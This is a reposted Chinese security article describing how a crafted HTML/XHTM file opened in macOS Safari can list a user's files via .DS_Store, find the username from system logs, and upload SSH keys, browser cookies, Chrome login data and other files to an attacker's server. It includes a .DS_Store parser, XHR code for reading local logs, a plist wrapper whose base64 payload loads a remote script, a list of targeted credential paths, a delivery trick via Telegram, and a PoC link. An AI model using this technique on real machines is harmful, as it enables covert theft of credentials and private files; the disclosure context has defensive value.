如何通过简单的网页文件从macOS中盗取文件?

简介: 本文讲的是如何通过简单的网页文件从macOS中盗取文件?,文档、源码、ssh密钥、密码等等所有的这些文件都可以传送过去。不可能吗?当然是可能的。一些常用的浏览器可能正在这样做。
本文讲的是 如何通过简单的网页文件从macOS中盗取文件?文档、源码、ssh密钥、密码等等所有的这些文件都可以传送过去。不可能吗?当然是可能的。一些常用的浏览器可能正在这样做。

通常情况下,攻击者的攻击流程大致如下:

1. 用户在浏览器中打开html文件
2. 浏览器读取用户有权限访问的文件列表。
3. 浏览器读取重要文件,并且将他们上传到攻击者启动的远程服务器中,这一过程会在后台进行,并且不会通知用户。

现在我们将这一过程分成几个阶段:

阶段一:在当前用户计算机上收集关于文件的信息。
阶段二:读取文件,将文件上传到远程服务器上。

在阶段一中,攻击者需要得到文件列表。这一步骤不是那么容易解决的,通常来讲,开发者不会允许html页面读取文件夹内容,或者获取当前路径。猜测以及尝试所有可能的路径也不是一个好的选择。虽然一些文件的路径是通用的,比如~/.ssh/id_rsa,但是大部分文件在不同系统中存放的位置是不同的。

假设我们已经将第一阶段中的限制绕过,那么在第二阶段攻击者需要对浏览器的沙箱进行逃逸,进而对文件读取,将其上传到远程服务器。

得到目录列表

macOS不同Windows以及Linux,它具有一个很有趣的属性,当目录被访问时,操作系统会产生隐藏文件:.DS_Store.

这一文件会保存文件浏览会话信息,包括浏览文件窗口的大小以及位置,查看属性和所选图标等信息。这一文件是自动生成的,主要目的是为了快速简单的获取到文件夹信息。

.DS_Store和windows下面的Thumbs.db功能类似,不过.DS_Store中还包含了文件夹以及文件名字。一旦文件夹打开,.DS_Store.

如何通过简单的网页文件从macOS中盗取文件?

这就非常有趣了,可以通过解析.DS_Store文件很容易获取到文件夹中文件名字。举个例子,下方python代码就可以做到这一点:

##!/usr/bin/env python
from ds_store import DSStore
import json
path = ‘/Users/USERNAME/.DS_Store’
def parse(file):
    filelist = []
    for i in file:
    if i.filename!=’.’:
        filelist.append(i.filename)
    return list(set(filelist))
d=DSStore.open(path, ‘r+’)
fileresult=parse(d)
print(json.dumps(fileresult))
for name in fileresult:
    try:
        d = DSStore.open(path + name+ ‘/.DS_Store’, ‘r+’)
        fileresult = parse(d)
        all.append(fileresult)
        print(json.dumps(fileresult))
    except:
        pass

将其命名为parse_ds_store.py,执行结果如下:

$ python parse_ds_store.py

[“Documents”, “Pictures”, “.idm”, “Desktop”, “Music”, “.oracle_jre_usage”, “Public”, “tmp”, “Parallels”, “MEGA”, “.BurpSuite”, “Downloads”, “.config”, “.cache”, “Applications”, “.bash_sessions”, “Creative Cloud Files”, “PycharmProjects”, “Applications (Parallels)”, “Dropbox”, “Nextcloud”, “.iterm2”, “.Trash”, “Scripts”, “Movies”, “MEGAsync Downloads”, “Soft”, “.local”, “.ssh”, “Library”, “.pgadmin”]

可以看到,我已经得到我当前目录的文件名,这就意味着,我们可以通过递归访问.DS_Store文件获取我电脑上所有具有权限的文件目录结构。
举个例子,在电脑当前目录使用这种方法,在~/.DS_Store中,我们得到如下返回:

[“Backups","Soft","Pictures",".ssh"...][

然后在Backups文件夹中,我们得到:

[“2017”, “2016”, “2015”, …]

进而在访问~/Backups/2017/.DS_Store,得到

[“source”, “sql”, “static”, …]

以此类推。

有两点需要提醒:
1.攻击者需要知道当前系统的用户名称。
2..DS_Store文件只有当用户有权限访问这一文件夹时,才会创建。

如果解决了上述两个问题,那么我们第一阶段攻击算是成功了。

预测有价值信息的文件路径

什么是有价值的信息呢?首先应该关心的是.ssh文件,他存储了密码加密系统的密钥目录。大致内容如下:

~/.ssh/id_rsa;
~/.ssh/id_rsa.key;
~/.ssh/id_rsa.pub;
~/.ssh/known_hosts;
~/.ssh/authorized_keys;

还有.bash_history,它可以让攻击者知道用户之前执行的命令。

存储cookie文件

现在,我们开始找存储cookie的文件,首先,macOS会将账户数据放在一个固定地方:

~/Library/Cookies/Cookies.binarycookies
~/Library/Cookies/com.apple.Safari.cookies

twitter,Skype以及其他应用程序的cookie都可以在这一文件夹中找到。

我们进行到这一步时,还可以对返回HSTS协议的网站列表进行传输。

~/Library/Cookies/HSTS.plist

另外一个有用的文件是关于系统账户信息的文件:

~/Library/Accounts/Accounts4.sqlite

我们还可以在列表中查找其他有用的东西,可能会有意外的收获。

~/Library/Application Support/

举个例子,我们还可以进而找到chrome存储的登录数据以及cookie:

~/Library/Application Support/Google/Chrome/Default/Login Data
~/Library/Application Support/Google/Chrome/Default/Cookies
~/Library/Application Support/Google/Chrome/Default/History

如果运气好的话,还可以找到ftp/sql客户端的登录信息,历史记录,以及日志信息。

悄无声息的访问用户文件

已经了解到了可以访问到哪些重要的文件,现在让我们尝试从safari访问到这些文件吧。

在chrome中,读取本地文件并不是一件很容易的事情,除非在打开chrome中使用--disable-web-security参数。

Safari同样也会警告不能同本地文件一同使用,比如:file://协议

如何通过简单的网页文件从macOS中盗取文件?

但是如果文件是从互联网上下载的,safari就会放宽它的验证机制,因此我们可以使用XHR请求本地文件,进而返回文件内容:

如何通过简单的网页文件从macOS中盗取文件?

如果文件存在,那它就会执行成功。
了解了safari这种特性,我们就可以使用绝对路径去读取文件全部信息,然后将其上传到远程服务端。

但是有一点需要注意,如果我们不知道本机用户名,那么我们就无法得到绝对路径。用户名也是一个难题,比如在/etc/passwd中并不包含用户名信息。

要解决这一问题,可以通过查看系统产生的两个日志文件:/var/log/system.log和/var/log/install.log.在这两个文件中,用户名是可以被找到的。将文件加载到浏览器中,通过正则表达式可以对用户名进行提取。

下方JS代码就是从日志文件中提取所有用户名的代码:

function getUser() {
 var xhr = new XMLHttpRequest();
 try {
 xhr.open(‘GET’, ‘/var/log/system.log;/https:%2f%2fgoogle.com/’, false);
 xhr.send();
 return xhr.responseText.match(//Users/w+//g)[0];
 } catch (e) {
 xhr.open(‘GET’, ‘/var/log/install.log;/https:%2f%2fgoogle.com/’, false);
 xhr.send();
 return xhr.responseText.match(//Users/w+//g)[0];
 }
}

得到文件

攻击者通过文章介绍的第一部分内容之后,下一步就是得到这些文件。只是看看它是如何工作的,我们可以创建一个后端进行简单的接收文件内容以及路径。如果文件为.DS_Store,我们可以使用进一步进行补充。

进一步优化的话,可以利用黑/白名单的机制防止上传大文件,或上传指定类型文件,比如.docx。

但是,系统中如果有其他浏览器呢?这会不会意味着html文件会通过chrome或者opera浏览器打开,降低了攻击效率呢?

为了避免这类问题,我们可以将文件后缀名改为XHTM,这一文件只能由safari打开。

XHTM的定义很清晰,是基于XML的JS内置网页。解释起来有点复杂,它有两种支持的格式,每种都可以进行手动伪造:

<?xml version=”1.0" encoding=”UTF-8"?>
<!DOCTYPE plist PUBLIC “-//Apple//DTD PLIST 1.0//EN” “http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version=”1.0">
<dict>
 <key>WebMainResource</key>
 <dict>
 <key>WebResourceData</key>
 <data>
 PGh0bWw+PGhlYWQ+PC9oZWFkPjxib2R5PjxzY3JpcHQgc3JjPSdodHRwczo
 vL2JvMG9tLnJ1L3NhZmFyaV9wb2MvcmVhZGZpbGUuanMnPjwvc2NyaXB0Pj
 wvYm9keT48L2h0bWw+
 </data>
 <key>WebResourceFrameName</key>
 <string></string>
 <key>WebResourceMIMEType</key>
 <string>text/html</string>
 <key>WebResourceTextEncodingName</key>
 <string>UTF-8</string>
 <key>WebResourceURL</key>
 <string>file:///</string>
 </dict>
</dict>
</plist>

数据为Base64页面,每行包含59个符号

如何解决数据来源问题?

默认情况下,通过互联网下载的文件都具有执行保护:

如何通过简单的网页文件从macOS中盗取文件?

这就意味着电子邮件中的附件可能不会执行,不过有个好消息是,不是所有的下载文件都具有保护机制。举个例子,MacOS版本的Telegram就没有保护机制,可以直接执行。在一些实践之后,我们通过telegram桌面版本进行传送恶意XHTM,进而解除执行限制。

如何通过简单的网页文件从macOS中盗取文件?

这只是一个简单例子,其他类似的情况也是可能的。举个例子,你可以通过一个装有家庭照片的U盘进行传播。
如果你想尝试一下这一例子,你可以在我的github(https://github.com/Bo0oM/Safiler)上找到PoC进行实验。

该怎么办?

在这个时候,作为一个Safari用户,你不能做任何事情。显然,苹果不认为这个问题是安全漏洞。我们还没有了解到有补丁来解决这一问题。
所以需要保持警惕,并且非常小心你从互联网上下载的文件。唯一要做的就是不要使用Safari浏览器。




原文发布时间为:2017年8月7日
本文作者:xnianq
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
目录
相关文章
|
7月前
|
安全 测试技术 UED
利用WPS-Office绕过UAC提权
利用WPS-Office绕过UAC提权
109 0
|
云安全 SQL 弹性计算
阿里云提示网站后门发现后门(Webshell)文件的解决办法
2018年10月27日接到新客户网站服务器被上传了webshell脚本木马后门问题的求助,对此我们sine安全公司针对此阿里云提示的安全问题进行了详细分析,ECS服务器被阿里云提示异常网络连接-可疑WebShell通信行为,还会伴有,网站后门-发现后门(Webshell)文件,以及提示网站后门-一句话webshell的安全提示,但是大部分都是单独服务器ECS的用户,具体被阿里云提示的截图如下:
2602 1
阿里云提示网站后门发现后门(Webshell)文件的解决办法
|
2月前
|
安全 Shell
2021Kali -- 木马免杀制作
2021Kali -- 木马免杀制作
35 1
|
7月前
|
Web App开发 XML 安全
DedeCMS存在文件包含漏洞导致后台getshell(CVE-2023-2928)
DedeCMS存在文件包含漏洞导致后台getshell,攻击者可通过该漏洞获取目标服务器控制权限,进行深度利用。
174 1
|
11月前
|
安全 网络安全 开发者
DedeCMS 5.7.106版本存在文件包含漏洞
攻击者可以通过操纵参数allurls来实现代码注入,并最终获得网站的控制权限。在/data/admin/allowurl.txt文件中写入的内容,并没有经过安全过滤,从而导致被成功绕过。由此可见,开发者应该严格限制用户输入的数据,避免类似漏洞的出现,确保网站的安全性和稳定性。
121 0
|
SQL 缓存 弹性计算
阿里云提示网站后门发现后门(Webshell)文件该怎么解决
阿里云提示网站后门发现后门(Webshell)文件该怎么解决
2040 0
阿里云提示网站后门发现后门(Webshell)文件该怎么解决
|
安全 Windows
7-Zip 曝出零日安全漏洞!通过“模仿文件扩展名”向攻击者提供管理员权限
7-Zip 曝出零日安全漏洞!通过“模仿文件扩展名”向攻击者提供管理员权限
125 0
7-Zip 曝出零日安全漏洞!通过“模仿文件扩展名”向攻击者提供管理员权限
|
安全 Shell 测试技术
Shopex V4.8.4|V4.8.5下载任意文件漏洞
利用前提是程序所应用的数据库服务器而且要是可以外连的,这个很关键。 自己搞站时候遇见的站,网上找不到该版本的漏洞,自己拿回源码读了一下。 找到一个漏洞,还是发出来吧。 读取任意文件漏洞: http://www.xx.com/shopadmin/index.php?ctl=sfile&act=getDB&p[0]=. . /. . /config/config.php 复制代码可以连上数据库。
2039 0
|
SQL Windows
1433映像劫持后门提权
首先: 1.服务器开启了终端端口(终端端口未必是3389,可以自行查询) 2.服务器的粘滞键功能无损,只要可以正常弹出即可 3.
895 0
|
数据安全/隐私保护
exew文件加密:利用破解版exe文件加密器对exe文件进行加密保护(图文教程)
exew文件加密:利用破解版exe文件加密器对exe文件进行加密保护(图文教程)
exew文件加密:利用破解版exe文件加密器对exe文件进行加密保护(图文教程)